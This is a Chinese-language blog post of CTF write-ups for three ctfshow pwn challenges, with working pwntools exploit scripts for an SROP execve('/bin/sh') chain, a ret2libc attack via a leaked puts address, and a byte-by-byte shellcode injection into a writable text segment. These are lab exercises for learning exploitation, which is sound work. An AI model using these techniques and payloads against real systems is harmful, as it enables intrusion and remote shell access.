接续暑假的屎山原先那篇字数太多输入很卡新开一篇pwn86这里看到只开启了nx打开后只发现一个主函数。左侧的函数列表没有其他的函数首先调用write输出文本应该是logo接着调用read这里发现存在一个调用read的位置允许写入的量是200h写入位置在global_buf应该是这里出现栈溢出。先看看这个buf的大小是什么情况512字节换算过来刚好是200h那很坏了我暂时还没有审汇编的分支的本身先看伪c是什么情况在检测我们写入大于0xF8后执行syscall后面的程序这里存储在rax中回到汇编我们发现这里将rsp重置为rsi而最近的rsi存储的值是buf所以说这里基址还是在原先的rbp但是rsp已经切换到buf位置栈的写入已经迁移接着这里调用sys_rt...这个函数它本质上是一个恢复函数或者说成“存档”更好理解一点当程序收到一个暂停信号的时候程序会保存当前的所有状态到栈中做一次存档形成一个名为signal_fame的数据结构接着cpu根据提前写好的暂停信号处理方案进行预案处理处理完之后再将存储在用户栈上的内容恢复恢复所有寄存器和其他状态的值这个过程很像是游戏的存档机制。而我们在程序中被赋予了提前操作用户栈的权限。这类题目有一个单独的名字叫做sropSROP - CTF Wiki还是拿游戏存档举例子假如现在我们在玩塞尔达现在林克手上是小木棍和木头盾牌。玩到一半你先去吃饭打算挂起游戏。这时候系统接收到一个signal信号这个信号引导cpu将当前的寄存器状态全部存储到一个指定位置也就是栈上。但是你作为低调的黑客你在找到存档保存的栈的位置以后选择将这里的内容修改一下经过一些操作当你吃完饭回来继续游戏的时候你的林克已经左手大师之剑右手海拉鲁盾牌了。当然要是想要更硬核的解释ctfwiki是不错的选择这里我们要做的和这一步差不多程序已经为我们指明了我们的寄存器状态会存储到什么位置那我们顺着程序的思路将目标位置的内容修改为我们想要的状态我们需要的就是恢复函数sys_rt_sigreturn它会读取栈上指定位置的数据然后恢复寄存器那么我们要让我们的寄存器恢复成什么样子攻击者能控制 rsp 指向的内存 → 就能伪造整个寄存器现场 → 内核会把 rip 设成我们指定的地址、把 rax 设成我们指定的值。这里是存在通用解法的rax 59execve 系统调用号rdi /bin/sh 地址rsi 0、rdx 0rip 0x400147程序自带的裸 syscall 指令这里sys查看符号表就可以了实际上上面的内容就是在为sys传参pwntools 的 SigreturnFrame() 在 x86_64 下恰为 248 字节 0xf8而程序要求读入 ≥ 0xf8 字节——两者严丝合缝说明出题人就是按 SROP 设计的读入量门槛 sigframe 大小。接着我们来找下bin的地址非常悲惨的没有那我们只能手写内存了上文也写了sf的存储量是248字节这里我们把sh的位置放在bin之后buf的地址在0x601040那么我们将rdi的值设置如下0x601138 buf0xf8/bin/sh\x00 所在处接着我们开始搓脚本from pwn import * context.arch amd64 context.log_level info syscall_ret 0x400147 # 符号 syscall一条裸 syscall 指令 buf 0x601040 # global_buf frame SigreturnFrame() frame.rax constants.SYS_execve # 59 frame.rdi buf 0xf8 # /bin/sh\x00 放在 frame 之后 frame.rsi 0 frame.rdx 0 frame.rip syscall_ret frame.rsp buf 0x200 payload bytes(frame) b/bin/sh\x00 payload payload.ljust(0x200, bA) # 填满 512见下方两个时序坑 p remote(pwn.challenge.ctf.show, 28258) # 本地: process(./chall) p.recvuntil(bWelcome to CTFshowPWN!\n) p.send(payload) sleep(0.8) # 等 execve 完成、shell 阻塞等输入 p.sendline(bcat /ctfshow_flag) p.interactive()这里调用了pwntools中自带的伪造工具byte将内容转换为原始二进制字节流随后加上sh这里read中没写入换行符不能直接停止进程。最简单的方式就是将512字节写满接着就是交互和发送了pwn87保护全关近似裸奔调用了两个比较可疑的函数init和ctfshow先跟进ctfshow这里存在一个写入函数fgets写入限制为32h字节写入位置为ebp-20h。这里存在栈溢出不是esp定位能直接用溢出量为20h4接着我们找是否存在shell没有。这里打算使用shellcode先找一段bss段可惜不能执行这里先不管这些再看看另一个init函数int init(){setvbuf(stdout, 0, 2, 0);return setvbuf(stdin, 0, 2, 0);}好吧只是取消缓冲换思路使用libc使用puts泄露基址然后确定libc版本接着选定后执行指令exp如下from pwn import * from LibcSearcher import * premote(pwn.challenge.ctf.show,28223) context(oslinux, archamd64, log_leveldebug) ELF ELF(D:\网安\题目附件\ctfshow pwn\pwn87) offset ba*(0x204) put_plt ELF.plt[puts] puts_got ELF.got[puts] main_add ELF.symbols[main] payload offset p32(put_plt) p32(main_add) p32(puts_got) p.recvuntil(bWhats your name?\n) p.sendline(payload) puts_add u32(p.recvuntil(b\xf7)[-4:]) libc LibcSearcher(puts,puts_add) libc_base puts_add - libc.dump(puts) system_add libc_base libc.dump(system) bin_add libc_base libc.dump(str_bin_sh) payload2offset p32(system_add) p32(0) p32(bin_add) p.recvline(bWhats your name?\n) p.sendline(payload2) p.interactive()pwn88这里开了栈金丝雀和nx这里我们能看到程序首先进行了read来读取并检测金丝雀的值关闭缓冲区打印提示语接着到我们的输入首先输入的是v6以六进制读入接着是v4以十进制整数读入这些内容被存储到v5中当v5没有成功读入两个参数后就退出程序接着将v6转换为字节指针将v4的内容写入如果v4写入的内容225就打印noflag这一套下来没找到哪里能溢出看着反而像是逆向先cv一段别的师傅的代码审计定义了两个变量一个数组数组中的第二个值用来存储栈金丝雀使用printf 函数输出Where What?接着读取两个输入一个64位十六进制地址一个十进制整数其中数组v6 的第一个存储64位十六进制地址v4 存储十进制整数。检查是不是读入了两个值如果不是直接退出程序接着通过*(_BYTE *)v6[0] v4; 将第二个输入( v4 )的低8位写入第一个输入指定的地址,检查v4 值是否是255是的话输出No****flag for you.例如输入 0x404040 65 就会向内存地址 0x404040 写入字节 0x41这里单纯分析下来就是要输入两个参数一个目标地址一个你要覆写的东西只能单次修改而且似乎和栈保护没什么关系这里我们看到text段是可写可执行的那么假如我们将某个跳转指令的跳转目标切换为程序最开始的位置或者是刚开始调用覆写的时候的位置那么我们就能多次写入形成循环这里我们需要用到一个新的shell这里是纯汇编指令串shellcode asm(mov rax,0x0068732f6e69622f push rax mov rdi,rsp mov rax,59 xor rsi,rsi xor rdx,rdx syscall)这里对应的功能是execve(/bin/sh, 0, 0)这里我们选择将它写入到代码段中代码段是可执行的from pwn import * context.arch amd64 text 0x400767 # jnz 指令地址 shellcode_addr 0x400769 # 原 puts 调用点mov edi, 0x400828 处 # execve(/bin/sh, 0, 0)mov rax,0x68732f6e69622f; push rax; mov rdi,rsp; mov rax,59; xor rsi,rsi; xor rdx,rdx; syscall29 字节 shellcode asm(mov rax,0x0068732f6e69622f push rax mov rdi,rsp mov rax,59 xor rsi,rsi xor rdx,rdx syscall) p remote(pwn.challenge.ctf.show, 28261) def writeData(addr, data): p.sendlineafter(bWhere What?, f{addr:x} {data}.encode()) # 注意addr 用十六进制%llxdata 用十进制%d # Step 1: 写 [0x400768]jnz 偏移 -0x4A → b≠0xff 时跳回 main 流程循环 writeData(text 1, u32(asm(jnz $-0x4A)[1:].ljust(4, b\x00))) # Step 2: 写 [0x400767]jnz 操作码 0x75 0xEBjmp→ 无条件循环 writeData(text, u32(asm(jmp $-0x4A)[0:1].ljust(4, b\x00))) # Step 3: 循环中逐字节写 shellcode 到 0x400769每次循环一个字节 for i, x in enumerate(shellcode): writeData(shellcode_addr i, x) # Step 4: 写 [0x400768] 0x02 → b0xff 时 jnz 不跳顺序执行 shellcode writeData(text 1, u32(asm(jnz $0x2)[1:].ljust(4, b\x00))) p.sendline(bcat /ctfshow_flag) p.interactive()这里写循环也就是在跳转回main的时候我们写入的目标地址是jnz的下半字节因为实际上jnz的机器码是有两字节第一字节是jnz本身的机器码第二字节是jnz的跳转目标。需要注意的是jnz跳转是差值跳转它需要通过地址差值来确定跳转位置接着是第二步我们选择将jnz替换为jmp因为这里的跳转实际上是在if判断之后是条件跳转而且我们无法保证我们的后续输入一定没有255所以我们使用无条件跳转jmp接着简单的for循环逐字节写入shell到目标位置。写完shell我们再次使用jnz跳转到我们写入的shell位置执行shell这里再稍微啰嗦下首先$代表的是当前地址在step1中我们确定了想要写入的位置也就是text1。由于我们每次只能修改一个字节所以我们jnz的切换和jmp的切换是分开的。包括在后续的step4我们使用的跳转指令仍旧是jmp。而这里的[1:]从索引一截取到末尾而我们传输的数据只有两个索引自然就只能截取到第二字节而关于f{addr:x} {data}这里实际上类似于占位符f的意义是告诉python把变量的值通过字符串的形式传递过来。addr:x中。:x是规定了数据为十六进制的格式填充后面的data则是以十进制的格式填充。要注意的是在for循环中传递的shell原先就是十六进制文本在以十进制传输后又会被程序的scanf重新解析成十六进制.而我们传递shell的地方是在puts位置我们的程序调用到不了这里算是死数据直接覆写是没有问题的先写到后续继续做
企业数字化 ERP 产品动态
相关推荐
自研从站设备调试过程 TwinCAT 项目设置 — MCUXpresso SDK 文档
TWINCAT-沈蓝色(R-RT-T)-EBUS连接第一版base,扫描端口有如下问题,
TWINCAT-沈蓝色(R-RT-T)-EBUS连接DA的端口1,扫描端口有如下问题, 默… · 2026/9/25 16:30:24
车规电机控制工程师进阶路径:硬件-算法-AUTOSAR全栈实战 1. 这不是一份普通书单,而是一条踩过坑、调过参数、烧过MOS管后理出来的电机控制进阶路径“从汽车电子基础到电机控制实践”——这十个字背后,藏着一个真实得不能再真实的工程师成长断层。我带过三届校招新人,也给主机厂电控部门做过技术培训… · 2026/9/25 16:30:18
【电气设计】医疗法规中的漏电流测试 本文章旨在说明医疗法规中的,接地漏电流,外壳漏电流,患者漏电流的原理及测试方法对地漏电流:定义:医疗器械安规(IEC 60601‑1):对地漏电流,是设备正常或单一故障条件下&a… · 2026/9/25 16:30:18
2026最权威的十大降AI率平台横评:TaoToken统一Key接入实测 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 17:32:49
专精特新企业三大核心痛点与系统性突围方案解析 专精特新这四个字,这几年在中小企业圈子里几乎成了“金字招牌”。我见过不少企业花大力气去对标、申报,把“小巨人”或“专精特新”的牌子挂到墙上之后,反而开始犯嘀咕:接下来怎么走?钱还是紧巴巴,研发和销… · 2026/9/25 17:32:43
市场数据Skill如何防范提示注入与重复扣费?AlphaGBM Skills安全设计全解析 市场数据Skill如何防范提示注入与重复扣费?AlphaGBM Skills安全设计全解析 【免费下载链接】skills Bring realtime market data and research workflows into Claude Code, Cursor & beyond — 29 open-source Skills for stocks, options and commodities. … · 2026/9/25 17:32:37
睡前故事创作指南:用“互相惦记”打造治愈哄睡时刻 晚上九点,卧室灯调到最暗,孩子抱着枕头看我:“今天讲什么?”我已经把一本卡片书连续讲了三十天,嗓子一开就能背,实在没得讲了。那天只能硬着头皮现编,结果她睡着的时间,比播任何音频… · 2026/9/25 17:32:37
工程五金选型实战手册:从螺栓强度等级到扭矩控制与表面处理 1. 为什么每位工程人都该有一本五金手册干了十几年项目,我最大的体会是:工地上百分之八十的返工和维修,根源不在图纸,不在结构计算,而在一颗螺栓选错了、一根钉子打偏了、一种表面处理没匹配对环境。甲方催工期的时候没… · 2026/9/25 17:32:37
创维E900V22D刷机全攻略:S905L3SB芯片兼容性解析与救砖实战 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:31
MQTT协议原理与Broker服务器搭建实战:从Mosquitto到EMQX /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:37